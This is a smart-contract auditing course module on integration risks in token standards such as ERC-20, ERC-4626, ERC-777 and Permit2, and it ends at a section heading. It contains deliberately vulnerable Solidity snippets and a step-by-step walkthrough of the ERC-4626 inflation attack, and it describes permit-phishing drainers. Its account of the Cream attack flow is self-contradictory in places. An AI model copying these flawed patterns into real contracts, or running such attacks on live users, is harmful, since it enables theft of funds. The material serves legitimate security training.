Week 07 — Token Standards & Integration Risk

“A protocol does not get drained because ERC-20 is broken. It gets drained because the developer integrated ERC-20 against a mental model of ‘a polite, well-behaved token’ — and the actual token on the other side was rude, deflationary, rebasing, fee-charging, callback-firing, or all five. The token-standard layer is where assumption-checking auditing pays the most concentrated dividends. Almost every nine-figure DeFi loss in 2020–2024 has a token-quirk co-author somewhere on the cap table.”

Tags: web3-security token erc20 erc721 erc1155 erc4626 erc777 permit integration Learner: Past Tuan-05-Vulnerability-Classes-Part-1 + Tuan-06-Vulnerability-Classes-Part-2 → ready to weaponize reentrancy / accounting knowledge against the token interface Time: 7 days (5–6h/day; one of the highest-ROI weeks for working auditors) Related: Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Case-Cream-Iron-Bank-2021 · Case-Euler-Finance-2023 · Case-Penpie-Pendle-2024


1. Context & Why

1.1 The auditor’s reframe of “token integration”

Most developers treat ERC-20 as an interface. To an auditor, a token is a foreign untrusted contract you are forced to share state with. Specifically:

  • It runs its code in the middle of your state transitions (transfer, transferFrom, permit, callbacks).
  • It returns its version of the truth about balances and allowances, which need not match what you asked for.
  • Its code can be upgraded out from under you (USDC, USDT, most stablecoins live behind proxies).
  • Its admin can pause transfers, blacklist addresses, or freeze balances at any time.
  • Different deployments of “the same” standard differ in subtle ways: revert behaviour on zero amounts, return values, callback firing order, decimals.

The job this week: build the catalogue of those differences and the integration patterns that survive them. By Friday you should reflexively answer the four questions for any token your protocol touches:

  1. Return value semantics: does transfer return bool? always? does false ever come back instead of revert?
  2. Balance semantics: does balanceOf(me) go up by exactly amount after a transfer? Or less (fee-on-transfer), or more (rebase), or change independently of any transfer?
  3. Callback semantics: does the token call into me or the counterparty during transfer? Where in my state machine?
  4. Trust semantics: who can pause / blacklist / upgrade the token? What is my fallback?

A protocol that doesn’t have crisp answers for every token in its support list has an open finding. That’s almost every protocol.

1.2 The two integration failure modes (memorize)

A. The protocol believes the token’s interface; the token’s behaviour diverges; the protocol mis-accounts → loss.

B. The token executes attacker code (via a callback hook or upgrade) in the middle of the protocol’s state transition; reentrancy or trust violation → loss.

Every bug this week is one of these. Cream/Iron Bank is (B) via ERC-777. Fee-on-transfer staking bugs are (A) via balance accounting. Inflation attacks on ERC-4626 are (A) via rounding direction the dev “didn’t think about”. USDT-on-old-codebases is (A) via missing-return-value.

1.3 What you’ll be able to do by Friday

  • Write a fee-on-transfer staking-bug PoC where the staker receives credit for tokens that never arrived in the contract.
  • Write an ERC-4626 inflation attack PoC that drains a fresh vault from a 1-wei first deposit + a donation.
  • Write an ERC-777 reentrancy PoC mimicking the Cream / Iron Bank shape: borrow → tokensReceived → re-borrow.
  • State, for every function in OpenZeppelin’s SafeERC20, exactly what it does and what the unsafe-equivalent breaks.
  • Audit a Permit2 integration: trace the permission flow, confirm nonce model, deadline, spender, witness.
  • Spot in <30s an IERC20.transfer(...) (not SafeERC20) in production code and explain why it’s a finding.

1.4 Primary references

SourceURLStatus
EIP-20 — Token Standardhttps://eips.ethereum.org/EIPS/eip-20Final
EIP-721 — NFT Standardhttps://eips.ethereum.org/EIPS/eip-721Final
EIP-1155 — Multi Token Standardhttps://eips.ethereum.org/EIPS/eip-1155Final
EIP-4626 — Tokenized Vaulthttps://eips.ethereum.org/EIPS/eip-4626Final
EIP-777 — Token w/ send-hookshttps://eips.ethereum.org/EIPS/eip-777Final (but discouraged for new deployments — see §6)
EIP-2612 — permit for ERC-20https://eips.ethereum.org/EIPS/eip-2612Final
OpenZeppelin Contracts 5.x — ERC20 / SafeERC20 / ERC4626https://docs.openzeppelin.com/contracts/5.xCurrent
OZ — “A Novel Defense Against ERC4626 Inflation Attacks”https://www.openzeppelin.com/news/a-novel-defense-against-erc4626-inflation-attacksCurrent
Uniswap Permit2 repohttps://github.com/Uniswap/permit2Current; canonical singleton at 0x000000000022D473030F116dDEE9F6B43aC78BA3 on all major EVM chains
Uniswap Permit2 docshttps://developers.uniswap.org/contracts/permit2/overviewCurrent
d-xo/weird-erc20 — the canonical weird-token cataloguehttps://github.com/d-xo/weird-erc20Current
Trust Security — Token integration findings (blog)https://trust-security.xyz/blogCurrent
Euler — “Exchange Rate Manipulation in ERC4626 Vaults”https://www.euler.finance/blog/exchange-rate-manipulation-in-erc4626-vaultsCurrent
Cream Finance — AMP post-mortem (2021)https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5Historical (incident reference)
Solodit (filter “ERC4626” / “ERC777” / “permit” / “fee-on-transfer”)https://solodit.cyfrin.io/Current

2. ERC-20 Deep Dive — Beyond transfer(to, amount)

2.1 The standard, precisely

ERC-20 (EIP-20, Final) defines exactly nine externally visible behaviours:

// Read
function name() external view returns (string);          // OPTIONAL
function symbol() external view returns (string);        // OPTIONAL
function decimals() external view returns (uint8);       // OPTIONAL
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
 
// Write
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
 
// Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

Three audit-relevant facts the spec does not mandate:

  1. What transfer returns on failure. The spec says “callers MUST handle false”, but historically (USDT, BNB) tokens don’t return anything — they revert on failure with no bool. ABI-decoding empty return data crashes naive callers.
  2. Whether transfer(to, 0) succeeds, reverts, or no-ops. Different tokens differ.
  3. Whether the implementation has a single canonical address. USDT, USDC, BNB, OMG: same logical token, multiple deployed addresses (esp. across L2 bridges and legacy migrations).

Everything in §2.2–§2.5 below is the auditor’s catalogue of how implementations diverge from the polite-token mental model.

2.2 The approve / transferFrom flow and its race

The intended flow:

  1. Alice owns 100 tokens, wants to grant Bob (a contract) permission to spend 50.
  2. Alice calls token.approve(bob, 50). State: allowance[alice][bob] = 50.
  3. Bob later calls token.transferFrom(alice, bob, 50). State: balance moves, allowance drops to 0.

2.2.1 The classic approve race

Alice currently has allowance[alice][bob] = 50. She wants to change it to 100. She calls approve(bob, 100).

If Bob is malicious and faster than Alice’s tx is mined, Bob can front-run:

  1. Bob calls transferFrom(alice, bob, 50) — drains the old allowance.
  2. Alice’s approve(bob, 100) lands.
  3. Bob calls transferFrom(alice, bob, 100) — drains the new allowance.

Total drained: 150 (instead of intended-max 100).

Historical mitigation: “approve(0) first, then approve(N)“. UI-level. Two transactions. The ERC-20 spec explicitly mentions this in the rationale.

Modern mitigations:

  • increaseAllowance(spender, delta) / decreaseAllowance(spender, delta) — non-standard but widely adopted; OpenZeppelin removed them in v5.0 in favor of safeIncreaseAllowance / safeDecreaseAllowance in SafeERC20. [verify your OZ version]
  • EIP-2612 permit — atomic approve+spend in one tx so no window between.
  • Permit2’s SignatureTransfer — one-shot, expires immediately.

Note: some tokens (USDT, KNC) actively block “set non-zero allowance over non-zero allowance” by reverting. Code that does approve(spender, N) over an existing non-zero allowance reverts. This is precisely why safeApprove got deprecated and replaced with forceApprove.

2.2.2 The non-standard return-value problem

// USDT historically (and on Ethereum mainnet to this day):
function transfer(address _to, uint _value) public {
    // ... no return statement
}

If a Solidity caller wrote:

require(token.transfer(to, amt));   // reverts on USDT — empty return data, can't decode bool

…the call reverted before ever reaching the require. The early DeFi era is littered with protocols that “didn’t support USDT” because of this single line.

Conversely, if a caller wrote:

token.transfer(to, amt);   // ignores return value — accepts silent `false` on compliant tokens

…a token that returns false on insufficient balance (e.g., compliant ERC-20 on a path where the wrapper handles failure as return false instead of revert) silently no-ops the transfer. The protocol records a successful transfer that never happened.

The fix to both: SafeERC20.

2.3 SafeERC20 — what it actually does

OpenZeppelin’s SafeERC20 is a thin wrapper that uses low-level call and inspects the return data manually. Pseudo-implementation of safeTransfer:

function safeTransfer(IERC20 token, address to, uint256 value) internal {
    bytes memory data = abi.encodeWithSelector(token.transfer.selector, to, value);
    (bool success, bytes memory returndata) = address(token).call(data);
 
    require(success, "SafeERC20: low-level call failed");
 
    if (returndata.length > 0) {
        // Return value provided: must decode to true.
        require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
    }
    // If returndata.length == 0 (USDT case), success of the call is enough.
}

The function inventory (OpenZeppelin Contracts 5.x):

FunctionWhat it doesWhat unsafe-equivalent breaks
safeTransfer(token, to, amount)Calls transfer; succeeds on bool-true OR empty-returndataNaive require(token.transfer(...)) reverts on USDT
safeTransferFrom(token, from, to, amount)Same handling for transferFromSame
safeApprove(token, spender, value)DEPRECATED in v5. Reverted if existing allowance non-zero and new value non-zeroCannot atomically update USDT-style allowance; users got stuck
forceApprove(token, spender, value)Sets allowance to value regardless of prior state; for non-cooperative tokens, internally does approve(0) then approve(value)Replaces safeApprove; handles the “must zero first” tokens
safeIncreaseAllowance(token, spender, addedValue)Reads current allowance, calls forceApprove(spender, current + added)Prevents the approve-race by additive update
safeDecreaseAllowance(token, spender, subtractedValue)Mirror of aboveUnderflow-safe approval reduction
safePermit(token, owner, spender, value, deadline, v, r, s)Calls permit; if it fails (token doesn’t implement permit or signature replay raced), falls back to verifying allowance was setResilient to “someone else used my permit first” griefing (front-running)

Audit reflex: any function on a token that’s not prefixed with safe (other than the read-only ones) in production code is a finding. No exceptions for “but we’re sure this token is well-behaved” — the assumption is brittle (the token might be upgraded later).

2.3.1 Why safeApprove was deprecated

safeApprove enforced the spec’s “set to zero first” rule by reverting if you tried to set a non-zero over a non-zero. In practice this made it useless for the integrations that needed it most:

// safeApprove pattern:
token.safeApprove(spender, 0);      // first, zero it
token.safeApprove(spender, newAmt); // then set new

But if the second call reverted (USDT race), the contract was now stuck at zero — a different bug. forceApprove solves this by internally doing the dance even on non-cooperative tokens:

function forceApprove(IERC20 token, address spender, uint256 value) internal {
    bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);
    if (!_callOptionalReturnBool(token, approvalCall)) {
        // approve reverted (probably USDT-race); zero first, then retry.
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
        _callOptionalReturn(token, approvalCall);
    }
}

2.4 EIP-2612 permit — signed allowance

permit(owner, spender, value, deadline, v, r, s) lets the owner sign an off-chain message that grants spender an allowance of value until deadline. The spender (or anyone) submits the signature. Atomic approve-and-spend in one tx if the spender wraps it.

The signed payload (EIP-712 typed data):

Permit(address owner, address spender, uint256 value, uint256 nonce, uint256 deadline)

Replay protection comes from:

  • nonce — incremented in the token’s storage per owner per use; signed once, used once.
  • deadline — absolute Unix timestamp after which the signature is dead.
  • The EIP-712 domain separator binds to (name, version, chainId, address(token)) — prevents cross-chain, cross-contract replay.

2.4.1 Audit hazards on permit

HazardDetail
Front-running griefingA user signs permit, the protocol’s permitAndDoX(...) wraps the permit + the action in one tx. An attacker observes the mempool, extracts (v, r, s), submits permit(...) alone. The next time the user’s permitAndDoX lands, permit fails (nonce consumed). The user’s tx reverts. They lose gas but no funds — but the action is denied. Mitigation: catch the permit-revert and check allowance already covers value; OZ safePermit does this.
No chain-id rebind on forkA token caches DOMAIN_SEPARATOR in the constructor without re-checking block.chainid. Post-fork, old signatures replay on new chain. OZ’s EIP712.sol recomputes if mismatch.
No expiry on long-lived signaturesdeadline = type(uint256).max (sometimes used “for UX”) means the signed permit is forever-valid. If the user’s machine is later compromised, the signature is still good.
owner = address(0) returned by ecrecoverAlways check signer != address(0) (EIP-2612 spec mandates this — “MUST revert if owner is the zero address”). Sloppy implementations don’t.
Permit-to-contractIf the protocol assumes owner is an EOA (EOA signed it), but owner is actually a smart-account address, ecrecover fails. Modern integrations need ERC-1271 + EIP-6492 fallback.
Phishing attack vectorThe dominant 2024 wallet-drainer pattern is “user signs an off-chain permit thinking it’s a connect signature”. Over $55M lost to permit-phishing in January 2024 alone per Triathon/Veritas surveys. Protocol-level mitigation is limited; wallet-level + dApp-frontend hygiene matters more.

2.5 Permit2 (Uniswap singleton)

Permit2 is a singleton contract deployed at the canonical address 0x000000000022D473030F116dDEE9F6B43aC78BA3 (same on Ethereum, Arbitrum, Optimism, Base, Polygon, BSC, and other major EVM chains — vanity-CREATE2’d by Uniswap).

Architecturally it bundles two systems behind one address:

flowchart TD
  U[User] -->|1. classic approve| T[ERC-20 Token]
  T -->|Permit2 has<br>infinite allowance| P[Permit2 Singleton]
  U -->|2. signs| Msg[Permit2 message]
  Msg -->|submitted| P
  P -->|3. moves tokens| C[Integrating Contract]
  C --> T
  style P fill:#fff2cc

Step 1 (one-time per user per token): user calls token.approve(Permit2, type(uint256).max).

Step 2 (per action): user signs a Permit2 message. The integrating contract submits it.

Step 3: Permit2 pulls tokens from user to recipient (which is either the integrating contract or wherever the signature says).

2.5.1 AllowanceTransfer vs SignatureTransfer

Permit2 exposes two flows:

FlowWhen usedNonce modelLifecycle
AllowanceTransferRepeated spending by the same spender (e.g., a router used multiple times)Sequential nonces per (owner, token, spender) tupleAllowance persists between txs; has an expiration field
SignatureTransferOne-shot, single-spend (e.g., a single swap)Non-monotonic / unordered nonces (a bitmap of used nonces); each signature has its own noncePermission exists only for the one tx that submits the signature

The non-monotonic nonce in SignatureTransfer is important: signatures can be submitted out of order, and if one signature is dropped (front-run, mempool censorship), the others still work. By contrast, EIP-2612’s monotonic nonce means one stuck signature stalls everything.

2.5.2 Permit2 integration audit checklist

When you see a contract integrating Permit2:

  • Is the spender in the signed payload set to the integrating contract, not some user-controlled address? (Bug: spender = attacker → attacker pulls user’s tokens via Permit2.)
  • Is the deadline reasonable (minutes, not years)?
  • Is the witness (for SignatureTransfer’s permitWitnessTransferFrom) bound to the action being performed? (Otherwise a signature for “swap” can be replayed as a signature for “deposit”.)
  • Is the contract checking that Permit2 itself is the canonical address (not a substitute)?
  • Does the contract correctly handle the case where the user has not yet approved Permit2 for this token? (Should revert cleanly, not consume the signature.)
  • For SignatureTransfer, is the nonce chosen by the user (not by an attacker), and is the contract reading it from the signed payload (not from a separate parameter)?
  • Approve-and-forget risk: every Permit2-integrated contract is now in the user’s blast radius if it’s compromised. Trace upgrade authority on every such contract.

The concentration risk of Permit2 is real: a single contract with maximal allowance from millions of users to billions of dollars of TVL. So far it has held; the audit posture should not become complacent.


3. ERC-721 — NFTs as Reentrancy Surfaces

3.1 The standard refresher

ERC-721 represents non-fungible tokens. Audit-relevant functions:

function transferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool approved) external;
function getApproved(uint256 tokenId) external view returns (address);
function isApprovedForAll(address owner, address operator) external view returns (bool);

3.2 safeTransferFrom + onERC721Received — the reentrancy entry

When safeTransferFrom lands on a contract recipient, the token contract invokes:

IERC721Receiver(to).onERC721Received(operator, from, tokenId, data) returns (bytes4);

If the receiver returns the magic value IERC721Receiver.onERC721Received.selector (== 0x150b7a02), the transfer is accepted. Otherwise, the entire safeTransferFrom reverts.

This is a callback into untrusted code during a token transfer. If your protocol calls safeTransferFrom and then updates state, the receiver can call back into your protocol mid-transfer.

3.2.1 The pattern that gets drained

// Vulnerable NFT marketplace
function buy(uint256 listingId) external payable {
    Listing memory l = listings[listingId];
    require(msg.value >= l.price, "underpaid");
 
    // ❌ External call (safeTransferFrom) BEFORE state cleanup
    IERC721(l.nft).safeTransferFrom(l.seller, msg.sender, l.tokenId);
 
    // attacker re-enters here in onERC721Received and calls buy(listingId) again
    delete listings[listingId];
    payable(l.seller).transfer(l.price);
}

The attacker’s onERC721Received calls marketplace.buy(listingId) a second time. The listing still exists (delete happens after the callback). They buy the NFT a second time → seller gets paid twice from the marketplace’s escrow, or buyer drains an over-collateralized escrow, etc.

Fix: CEI. Delete state before the external call, or use nonReentrant.

function buy(uint256 listingId) external payable nonReentrant {
    Listing memory l = listings[listingId];
    require(msg.value >= l.price, "underpaid");
    delete listings[listingId];                  // ← state change BEFORE call
    payable(l.seller).transfer(l.price);
    IERC721(l.nft).safeTransferFrom(l.seller, msg.sender, l.tokenId);
}

3.3 setApprovalForAll — the wallet drainer pattern

setApprovalForAll(operator, true) is a blanket approval for the operator to transfer every NFT the owner currently holds and any they will ever hold under this contract. There is no amount, no expiry.

This is the foundation of every wallet-drainer scam:

  1. Phishing site convinces user to sign setApprovalForAll(scammer, true) on a high-value NFT collection.
  2. The signature looks innocuous in a hardware-wallet display (“approve operator”).
  3. Scammer’s contract waits, then yanks the user’s NFTs at any future time.

Protocol audit angle: if your protocol is a marketplace, it likely requires setApprovalForAll from users. The escrow address is now a highly attractive target — compromise of that contract drains every user’s NFTs. Treat its upgrade authority and reentrancy posture as critical.

User-side mitigation: revoke.cash, wallet UX (Rabby, Frame) warning on setApprovalForAll, hardware-wallet decoded signing.

3.4 Receiver hook gas griefing

The onERC721Received callback can consume up to all forwarded gas. If your contract calls safeTransferFrom in a loop (airdrop, mass-transfer), a single malicious receiver burning gas can DoS the whole batch.

// Vulnerable airdrop
for (uint i = 0; i < recipients.length; i++) {
    nft.safeTransferFrom(address(this), recipients[i], i);  // any recipient can burn all gas
}

A recipients[k] that is a contract whose onERC721Received runs while (gasleft() > 0) {} halts the entire loop. The airdrop fails for everyone after index k.

Mitigations:

  • Use plain transferFrom if you trust recipients are EOAs (UX trade-off: contracts can’t hold NFTs).
  • Cap forwarded gas via assembly call.
  • Push → pull: list recipients, each claims their own NFT, isolating the failure.

4. ERC-1155 — Same Hazards, Plus Length Mismatch

ERC-1155 is a multi-token standard: one contract holds many token IDs and tracks per-(id, holder) balances. Single safeTransferFrom and batched safeBatchTransferFrom.

4.1 The receiver hooks

interface IERC1155Receiver {
    function onERC1155Received(
        address operator, address from, uint256 id, uint256 value, bytes calldata data
    ) external returns (bytes4);
 
    function onERC1155BatchReceived(
        address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data
    ) external returns (bytes4);
}

Same hazard as ERC-721: callbacks fire on contract recipients during transfer. Same reentrancy and gas-grief patterns apply.

4.2 Length-mismatch DoS / silent miscounting

The spec mandates revert when ids.length != values.length:

function safeBatchTransferFrom(
    address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data
) external {
    require(ids.length == values.length, "length mismatch");
    // ... process
}

But protocols that consume batch events from ERC-1155 must independently re-validate this. A non-compliant ERC-1155 (or a non-standard fork) might emit TransferBatch events with mismatched array lengths. Off-chain indexers that don’t check can mis-credit.

On-chain, if your contract has a function like:

function distribute(uint256[] calldata ids, uint256[] calldata amounts) external {
    require(ids.length == amounts.length, "len");
    for (uint i; i < ids.length; ++i) {
        nft1155.safeTransferFrom(address(this), msg.sender, ids[i], amounts[i], "");
    }
}

…remember that during one of those transfers, your msg.sender’s onERC1155Received can call back into you. Each iteration is an external call.

4.3 Batch transfers as MEV / sandwich targets

Less classical but worth flagging: batch transfers expose a recipient to ordering attacks if any of the IDs have price-sensitive secondary markets. Auditors of trading-pair-aware NFT systems should reason about whether a sandwicher could observe the batch and front-run a sub-transfer.


5. ERC-4626 — Tokenized Vaults and the Inflation Attack

This is the most concentrated audit-value section of the week. If your protocol is any kind of vault, lending pool, or staking contract that issues a share token against a deposit, read this twice.

5.1 The standard

EIP-4626 defines a uniform interface for “deposit some underlying asset, get vault shares; redeem shares, get back proportional assets”. The core functions:

// Conversion (read-only, must not revert)
function totalAssets() external view returns (uint256);
function convertToShares(uint256 assets) external view returns (uint256);
function convertToAssets(uint256 shares) external view returns (uint256);
 
// Preview (with fees, slippage, etc.)
function previewDeposit(uint256 assets) external view returns (uint256);
function previewMint(uint256 shares) external view returns (uint256);
function previewWithdraw(uint256 assets) external view returns (uint256);
function previewRedeem(uint256 shares) external view returns (uint256);
 
// State-changing
function deposit(uint256 assets, address receiver) external returns (uint256 shares);
function mint(uint256 shares, address receiver) external returns (uint256 assets);
function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares);
function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);

5.2 The accounting model

The vault holds totalAssets() of underlying token and has issued totalSupply() shares. The share-price equation is straightforward:

sharePrice = totalAssets / totalSupply       (when totalSupply > 0)
            = 1                              (when totalSupply == 0, conventionally)

When a user deposits assets, they receive:

shares = assets * totalSupply / totalAssets    (rounded down per spec)

When a user redeems shares, they receive:

assets = shares * totalAssets / totalSupply    (rounded down per spec)

5.3 Rounding direction — protocol-favoring

The EIP-4626 spec explicitly mandates rounding direction must always favor the protocol over the user. Two cases:

ActionQuantity computedDirectionWhy
deposit(assets)shares minteddownUser puts in assets, gets fewer shares than the exact ratio would imply. Vault keeps the dust.
mint(shares)assets pulledupUser wants shares, vault charges slightly more assets. Vault wins the rounding.
withdraw(assets)shares burnedupUser wants assets out, must burn slightly more shares.
redeem(shares)assets paid outdownUser redeems shares, gets slightly less assets.

Two reads of this:

  • Pro-protocol: vault never under-charges users; precision losses accrue to the vault (and thus to remaining shareholders).
  • Anti-user-at-margin: a user depositing a very small amount could receive zero shares. This is normal. Worse: it’s the substrate of the inflation attack.

convertToShares and convertToAssets (the non-preview versions) MUST always round down. They are explicitly NOT for pricing — the spec warns implementers and integrators that preview* functions are manipulable and not safe oracles.

5.4 The inflation / first-depositor / donation attack

This is the canonical 4626 bug. Variants drained Cream-V2 era vaults, several Yearn-fork vaults, and were discoverable in dozens of competitive audits in 2022–2023.

5.4.1 Mechanics — narrative

Vault is freshly deployed. totalSupply == 0, totalAssets == 0.

  1. Attacker: deposits 1 wei of asset. Because totalSupply == 0, vault mints 1 share for 1 wei. Now totalSupply == 1, totalAssets == 1.
  2. Attacker: directly transfers 10_000 * 10^18 wei (10,000 tokens) to the vault address. This is a raw ERC-20 transfer, not a deposit — it bumps balanceOf(vault) but does not mint shares. Now totalSupply == 1, totalAssets == 10_000_000_000_000_000_000_001 (~10,000 tokens + 1 wei).
  3. The share price is now ~10_000 tokens per share.
  4. Victim: deposits 9_999 tokens, expecting ~9_999 shares. The math:
    shares = victim_assets * totalSupply / totalAssets
           = 9_999e18 * 1 / 10_000e18
           = 0  (rounds down)
    
    Victim receives zero shares. Their 9_999 tokens are now part of totalAssets, owned proportionally by… existing shareholders (i.e., the attacker, who holds 1 share = 100% of supply).
  5. Attacker: redeems their 1 share, gets back all ~19,999 tokens.

Net: attacker invested 10,000.000000000000000001 tokens, withdrew 19,999 tokens. Victim deposited 9,999 tokens and got nothing.

In practice, attackers front-run the first legitimate deposit — they don’t need to wait for a victim, they create the victim’s loss by front-running.

5.4.2 Mechanics — numerical worked example

Let underlying have 18 decimals. Empty vault.

StepActorActiontotalSupplytotalAssetsEffect
0initial00
1Attackerdeposit(1)11mints 1 share for 1 wei
2AttackerIERC20.transfer(vault, 100e18)1100e18 + 1”donation” inflates assets
3Victimdeposit(50e18) → shares = 50e18 * 1 / (100e18 + 1) = 0 (rounds down)1150e18 + 1victim gets 0 shares
4Attackerredeem(1) → assets = 1 * (150e18 + 1) / 1 = 150e18 + 100takes everything

Attacker P/L: deposited 100e18 + 1, withdrew 150e18 + 1. Profit 50e18 — entirely the victim’s deposit.

If the attacker can front-run multiple deposits before redeeming, profits compound. Capital required = (roughly) twice the cumulative victim deposit.

5.4.3 Why the spec doesn’t fix this directly

EIP-4626 leaves the choice of “first-deposit handling” to the implementer because there’s no universally correct answer:

  • A vault that wraps a single underlying with no fee structure can use assets:shares = 1:1 at first deposit and never permit a donate-and-inflate because the share supply tracks asset balance via internal bookkeeping (not balanceOf(this)).
  • A vault that wraps a strategy whose totalAssets() reads from an external source has no clean answer.

The bug is in implementations that compute totalAssets() as IERC20(asset).balanceOf(address(this)) — which is what naive implementations do, because the spec says totalAssets() returns the total managed by the vault. Of course it reads balanceOf; donation pollutes that reading.

5.4.4 Mitigation 1: OpenZeppelin virtual shares (the new default)

OZ’s ERC4626.sol (v5.x) adds a virtual offset to both shares and assets in the conversion math. The exchange-rate computation is effectively:

shares = (assets * (totalSupply() + 10^decimalsOffset)) / (totalAssets() + 1)
assets = (shares * (totalAssets() + 1)) / (totalSupply() + 10^decimalsOffset)

Where _decimalsOffset() is overridable per-vault (default 0; recommended 3–6 in production). The virtual 1 asset and 10^δ shares create a non-zero denominator and a phantom anchor share-price even when the vault is empty.

The attacker’s profit equation:

attacker_loss = (donation) / (1 + attacker_deposit + 10^δ * scale)

With δ = 6, every wei of donation costs the attacker ~10^6 more than it gains them. Inflation becomes economically pointless; the vault absorbs the donation as a gift to all shareholders (proportional to their share of totalSupply() + 10^δ, which is initially nearly all virtual — i.e., nobody gets the donation, it’s burned).

Trade-off: with δ set, the very first depositor’s shares are dust relative to the virtual supply, which is fine — they still get the correct proportion of vault value. Later depositors get the same.

5.4.5 Mitigation 2: dead-shares lock at deploy

Alternative: at deployment, the vault deposits a small amount of underlying (say 10_000 wei) and mints shares to address(0) or to the vault itself (a non-redeemable address). This makes totalSupply non-zero from the start, neutralizing the attack vector.

Used by: Morpho, Balancer V2 pools (technically a different standard, same idea: “burn the first minimum liquidity”).

Trade-offs:

  • Caller of initialize() provides the seed capital — usually the deployer (acceptable cost).
  • The dead shares dilute future depositors slightly, but the dilution is bounded and predictable.

5.4.6 Mitigation 3: internal accounting (avoid balanceOf(this))

Track totalAssets as an internal storage variable updated on every deposit/withdraw/yield-claim, not as IERC20.balanceOf(address(this)). Direct token transfers (donations) no longer affect the share price.

Trade-off: the vault must reconcile against actual balance periodically (otherwise stuck assets accumulate); yield from rebasing or auto-compounding strategies needs an explicit harvest() to be reflected.

This is what Yearn V3 vaults and Euler v2 use. It’s the strongest mitigation but the most invasive to implement.

5.4.7 What an auditor flags

For any ERC-4626 vault:

  • Does totalAssets() read from balanceOf(this), or from internal accounting?
  • If the former: is there a virtual-shares/decimals-offset defense (OZ-style)? What’s the offset?
  • If neither: is there a dead-shares lock at deploy?
  • None of the above → Critical / High finding “ERC-4626 inflation attack: first depositor can drain subsequent deposits”.

5.5 Slippage protection — preview vs actual

Even with inflation mitigations, a depositor’s actual share count can differ from previewDeposit(assets) due to:

  • A race with another deposit / withdraw between preview and tx mining.
  • A donation between them.
  • A rebase / yield-event between them.

Routers that do vault.deposit(assets, user) without a slippage bound have no protection against being filled at an unexpected rate. The auditor’s checklist:

  • Does the user-facing entry point accept a minShares (for deposit) / minAssets (for redeem) parameter and revert if not met?
  • Is the slippage check after the actual deposit() returns (using the return value), not based on a re-read of previewDeposit (which can be re-manipulated)?
function depositWithSlippage(uint256 assets, uint256 minShares) external returns (uint256 shares) {
    asset.safeTransferFrom(msg.sender, address(this), assets);
    asset.safeIncreaseAllowance(address(vault), assets);
    shares = vault.deposit(assets, msg.sender);
    require(shares >= minShares, "slippage");
}

6. ERC-777 — Send Hooks and the Reentrancy Vector That Built Cream

EIP-777 was designed in 2017 to “fix” ERC-20: add hooks for senders and receivers, leverage ERC-1820 for registration, and be ERC-20-compatible so existing wallets work. In hindsight it added a reentrancy surface that has caused $20M+ in losses and is now widely shunned.

6.1 The hooks

ERC-777 invokes two hooks during transfers, via the ERC-1820 registry:

  1. tokensToSend(operator, from, to, amount, userData, operatorData) — called on from (if from registered an implementer) before the balance is debited.
  2. tokensReceived(operator, from, to, amount, userData, operatorData) — called on to (if to registered an implementer, or if to has code) after the balance is credited.

The hook calls happen during the standard send, transfer, transferFrom, and operatorSend flows. Even if a token claims ERC-20 compatibility, when called via the ERC-777-style path, the hooks still fire.

6.2 The Cream / Iron Bank shape (2021, ~$18.8M)

Cream supported AMP as collateral. AMP is an ERC-777 token. The vulnerable code path (simplified):

function borrow(uint256 amount) external nonReentrant {  // ← lock on THIS function
    // checks...
    accrueInterest();
    // ...
    doTransferOut(borrower, amount);                     // ← sends AMP, fires tokensReceived
    accountBorrows[borrower].principal = newPrincipal;   // ← state update AFTER transfer
}

The nonReentrant lock was per-function, and the attacker’s contract didn’t re-enter borrow() on the same cToken — they re-entered a different cToken’s borrow(), which had its own (unlocked) state.

Attack flow:

  1. Attacker deposits AMP as collateral on cAMP.
  2. Calls cETH.borrow(amount).
  3. cETH.borrow calls doTransferOut → sends ETH (or wrapped ETH transfer via AMP path in some versions).
  4. The actual exploited flow was: attacker’s collateral was AMP; the borrow function on cAMP itself (or a related cToken) transferred AMP to attacker; AMP’s tokensReceived fired in the attacker’s contract.
  5. From inside tokensReceived, attacker called cETH.borrow(amount) again.
  6. The first borrow’s state update (accountBorrows[borrower].principal = ...) had not yet happened. Collateral was still considered fully posted. The second borrow succeeded.
  7. Recursion: drain.

Loss: 462M AMP + 2,804 ETH (~$18.8M then). About 90% was returned by the white-hat-adjacent attacker after negotiation.

The fundamental sin: state update after the external call, in a system that doesn’t (cannot) know that the “polite ERC-20 transfer” will execute attacker code.

6.2.1 imBTC / Uniswap V1 and lendf.me

Earlier, in 2020:

  • imBTC on Uniswap V1 ETH-imBTC pool: imBTC is ERC-777. A swap fires tokensReceived mid-swap, attacker re-enters and front-runs the reserves update.
  • lendf.me (a Compound fork) had the same pattern: drain via ERC-777 callback re-entering a different function.

Total losses across the ERC-777 reentrancy class: well into nine figures.

6.3 Why most modern protocols don’t accept ERC-777

The lesson the industry took: callbacks during ERC-20-compatible transfers are an unmanageable footgun. New protocols either:

  • Refuse ERC-777 tokens entirely — explicit token whitelist, AMP-style tokens excluded.
  • Wrap them in a no-callback ERC-20 wrapper — same idea as WETH for ETH.
  • Use contract-wide reentrancy locks — every state-changing function locks the same mutex (not per-function). This handles the AMP/Cream class but accepts the gas overhead.

ERC-777 is technically Final and supported, but proposing it for a new token in 2026 is a finding by itself in many audit-firm playbooks.

6.4 Detecting ERC-777 in audit

